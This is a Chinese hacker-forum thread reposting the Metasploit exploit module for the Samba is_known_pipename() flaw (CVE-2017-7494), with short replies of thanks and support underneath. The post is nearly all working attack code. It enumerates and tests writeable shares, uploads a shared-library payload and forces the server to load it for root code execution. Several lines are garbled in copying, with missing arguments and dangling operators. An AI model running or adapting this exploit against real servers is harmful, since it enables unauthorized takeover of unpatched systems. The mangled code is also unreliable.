90_ 发表于 2017-5-30 13:17:45

Samba is_known_pipename() Arbitrary Module Load Exploit

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client

def initialize(info = {})
    super(update_info(info,
      'Name'         => 'Samba is_known_pipename() Arbitrary Module Load',
      'Description'    => %q{
          This module triggers an arbitrary shared library load vulnerability
      in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
      requires valid credentials, a writeable folder in an accessible share,
      and knowledge of the server-side path of the writeable folder. In
      some cases, anonymous access combined with common filesystem locations
      can be used to automatically exploit this vulnerability.
      },
      'Author'         =>
      [
          'steelo <knownsteelogmail.com>',    # Vulnerability Discovery
          'hdm',                                  # Metasploit Module
          'Brendan Coles <bcolesgmail.com>',# Check logic
          'Tavis Ormandy <tavisogoogle.com>', # PID hunting technique
      ],
      'License'      => MSF_LICENSE,
      'References'   =>
      [
          [ 'CVE', '2017-7494' ],
          [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
      ],
      'Payload'         =>
      {
          'Space'       => 9000,
          'DisableNops' => true
      },
      'Platform'      => 'linux',
      #
      # Targets are currently limited by platforms with ELF-SO payload wrappers
      #
      'Targets'         =>
      [

          [ 'Linux x86',      { 'Arch' => ARCH_X86 } ],
          [ 'Linux x86_64',   { 'Arch' => ARCH_X64 } ],
          #
          # Not ready yet
          # [ 'Linux ARM (LE)',   { 'Arch' => ARCH_ARMLE } ],
          # [ 'Linux MIPS',       { 'Arch' => MIPS } ],
      ],
      'Privileged'      => true,
      'DisclosureDate'=> 'Mar 24 2017',
      'DefaultTarget'   => 1))

    register_options(
      [
      OptString.new('SMB_SHARE_NAME', ),
      OptString.new('SMB_SHARE_BASE', ),
      OptString.new('SMB_FOLDER', ),
      ])

    register_advanced_options(
      [
      OptBool.new('BruteforcePID', ),
      ])
end


def generate_common_locations
    candidates = []
    if datastore['SMB_SHARE_BASE'].to_s.length > 0
      candidates << datastore['SMB_SHARE_BASE']
    end

    %W{ /volume1 /volume2 /volume3 /volume4
      /shared /mnt /mnt/usb /media /mnt/media
      /var/samba /tmp /home /home/shared
    }.each do |base_name|
      candidates << base_name
      candidates <<
      candidates <<
      candidates <<
      candidates <<
      candidates <<
    end

    candidates.uniq
end

def enumerate_directories(share)
    begin
      self.simple.connect("\\\\#{rhost}\\#{share}")
      stuff = self.simple.client.find_first("\\*")
      directories = [""]
      stuff.each_pair do |entry,entry_attr|
      next if %W{. ..}.include?(entry)
      next unless entry_attr['type'] == 'D'
      directories << entry
      end

      return directories

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Enum #{share}: #{e}")
      return nil

    ensure
      if self.simple.shares["\\\\#{rhost}\\#{share}"]
      self.simple.disconnect("\\\\#{rhost}\\#{share}")
      end
    end
end

def verify_writeable_directory(share, directory="")
    begin
      self.simple.connect("\\\\#{rhost}\\#{share}")

      random_filename = Rex::Text.rand_text_alpha(5)+".txt"
      filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"

      wfd = simple.open(filename, 'rwct')
      wfd << Rex::Text.rand_text_alpha(8)
      wfd.close

      simple.delete(filename)
      return true

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Write #{share}#{filename}: #{e}")
      return false

    ensure
      if self.simple.shares["\\\\#{rhost}\\#{share}"]
      self.simple.disconnect("\\\\#{rhost}\\#{share}")
      end
    end
end

def share_type(val)
    [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ]
end

def enumerate_shares_lanman
    shares = []
    begin
      res = self.simple.client.trans(
      "\\PIPE\\LANMAN",
      (
          .pack('v') +
          "WrLeh\x00"   +
          "B13BWz\x00"+
          .pack("vv")
      ))
    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Could not enumerate shares via LANMAN")
      return []
    end
    if res.nil?
      vprint_error("Could not enumerate shares via LANMAN")
      return []
    end

    lerror, lconv, lentries, lcount = res['Payload'].to_s[
      res['Payload'].v['ParamOffset'],
      res['Payload'].v['ParamCount']
    ].unpack("v4")

    data = res['Payload'].to_s[
      res['Payload'].v['DataOffset'],
      res['Payload'].v['DataCount']
    ]

    0.upto(lentries - 1) do |i|
      sname,tmp = data[(i * 20) +0, 14].split("\x00")
      stype   = data[(i * 20) + 14, 2].unpack('v')
      scoff   = data[(i * 20) + 16, 2].unpack('v')
      scoff -= lconv if lconv != 0
      scomm,tmp = data.split("\x00")
      shares << [ sname, share_type(stype), scomm]
    end

    shares
end

def probe_module_path(path, simple_client=self.simple)
    begin
      simple_client.create_pipe(path)
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Probe: #{path}: #{e}")
    end
end

def find_writeable_path(share)
    subdirs = enumerate_directories(share)
    return unless subdirs

    if datastore['SMB_FOLDER'].to_s.length > 0
      subdirs.unshift(datastore['SMB_FOLDER'])
    end

    subdirs.each do |subdir|
      next unless verify_writeable_directory(share, subdir)
      return subdir
    end

    nil
end

def find_writeable_share_path
    @path = nil
    share_info = enumerate_shares_lanman
    if datastore['SMB_SHARE_NAME'].to_s.length > 0
      share_info.unshift , 'DISK', '']
    end

    share_info.each do |share|
      next if share.first.upcase == 'IPC$'
      found = find_writeable_path(share.first)
      next unless found
      @share = share.first
      @path= found
      break
    end
end

def find_writeable
    find_writeable_share_path
    unless @share && @path
      print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
      fail_with(Failure::NoTarget, "No matching target")
    end
    print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
end

def upload_payload
    begin
      self.simple.connect("\\\\#{rhost}\\#{@share}")

      random_filename = Rex::Text.rand_text_alpha(8)+".so"
      filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
      wfd = simple.open(filename, 'rwct')
      wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,
      payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
      )
      wfd.close

      @payload_name = random_filename
      return true

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      print_error("Write #{@share}#{filename}: #{e}")
      return false

    ensure
      if self.simple.shares["\\\\#{rhost}\\#{@share}"]
      self.simple.disconnect("\\\\#{rhost}\\#{@share}")
      end
    end
end

def find_payload

    # Reconnect to IPC$
    simple.connect("\\\\#{rhost}\\IPC$")

    # Look for common paths first, since they can be a lot quicker than hunting PIDs
    print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}")
    generate_common_locations.each do |location|
      target = .join("/").gsub(/\/+/, '/')
      print_status("Trying location #{target}...")
      probe_module_path(target)
    end

    # Exit early if we already have a session
    return if session_created?

    return unless datastore['BruteforcePID']

    # XXX: This technique doesn't seem to work in practice, as both processes have setuid()d
    #      to non-root, but their /proc/pid directories are still owned by root. Trying to
    #      read the /proc/other-pid/cwd/target.so results in permission denied. There is a
    #      good chance that this still works on some embedded systems and odd-ball Linux.

    # Use the PID hunting strategy devised by Tavis Ormandy
    print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)")

    # Configure the main connection to have a working directory of the file share
    simple.connect("\\\\#{rhost}\\#{@share}")

    # Use a second connection to brute force the PID of the first connection
    probe_conn = connect(false)
    smb_login(probe_conn)
    probe_conn.connect("\\\\#{rhost}\\#{@share}")
    probe_conn.connect("\\\\#{rhost}\\IPC$")

    # Run from 2 to MAX_PID (ushort) trying to read the other process CWD
    2.upto(32768) do |pid|

      # Look for the PID associated with our main SMB connection
      target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/')
      vprint_status("Trying PID with target path #{target}...")
      probe_module_path(target, probe_conn)

      # Keep our main connection alive
      if pid % 1000 == 0
         self.simple.client.find_first("\\*")
      end
    end

end

def check
    res = smb_fingerprint

    unless res['native_lm'] =~ /Samba ([\d\.]+)/
      print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
      return CheckCode::Safe
    end

    samba_version = Gem::Version.new($1.gsub(/\.$/, ''))

    vprint_status("Samba version identified as #{samba_version.to_s}")

    if samba_version < Gem::Version.new('3.5.0')
      return CheckCode::Safe
    end

    # Patched in 4.4.14
    if samba_version < Gem::Version.new('4.5.0') &&
       samba_version >= Gem::Version.new('4.4.14')
      return CheckCode::Safe
    end

    # Patched in 4.5.10
    if samba_version > Gem::Version.new('4.5.0') &&
       samba_version < Gem::Version.new('4.6.0') &&
       samba_version >= Gem::Version.new('4.5.10')
      return CheckCode::Safe
    end

    # Patched in 4.6.4
    if samba_version >= Gem::Version.new('4.6.4')
      return CheckCode::Safe
    end

    connect
    smb_login
    find_writeable_share_path
    disconnect

    if @share.to_s.length == 0
      print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")
      return CheckCode::Detected
    end

    print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
    return CheckCode::Appears
end

def exploit
    # Setup SMB
    connect
    smb_login

    # Find a writeable share
    find_writeable

    # Upload the shared library payload
    upload_payload

    # Find and execute the payload from the share
    begin
      find_payload
    rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
    end

    # Cleanup the payload
    begin
      simple.connect("\\\\#{rhost}\\#{@share}")
      uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
      simple.delete(uploaded_path)
    rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
    end

    # Shutdown
    disconnect
end

end

08-wh 发表于 2017-5-30 13:24:27

支持,看起来还是可以的

cl476874045 发表于 2017-5-30 13:36:17

支持中国红客联盟(ihonker.org)

yusiii 发表于 2017-5-30 13:59:03

a136 发表于 2017-5-30 14:59:27

wanmznh 发表于 2017-5-30 15:37:58

支持中国红客联盟(ihonker.org)

Jack-5 发表于 2017-5-30 15:59:00

支持,看起来还是可以的

borall 发表于 2017-5-30 16:09:29

非常感谢

HUC-参谋长 发表于 2017-5-30 16:52:16

支持中国红客联盟(ihonker.org)

ruguoruo 发表于 2017-5-30 16:57:28

支持中国红客联盟(ihonker.org)
页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: Samba is_known_pipename() Arbitrary Module Load Exploit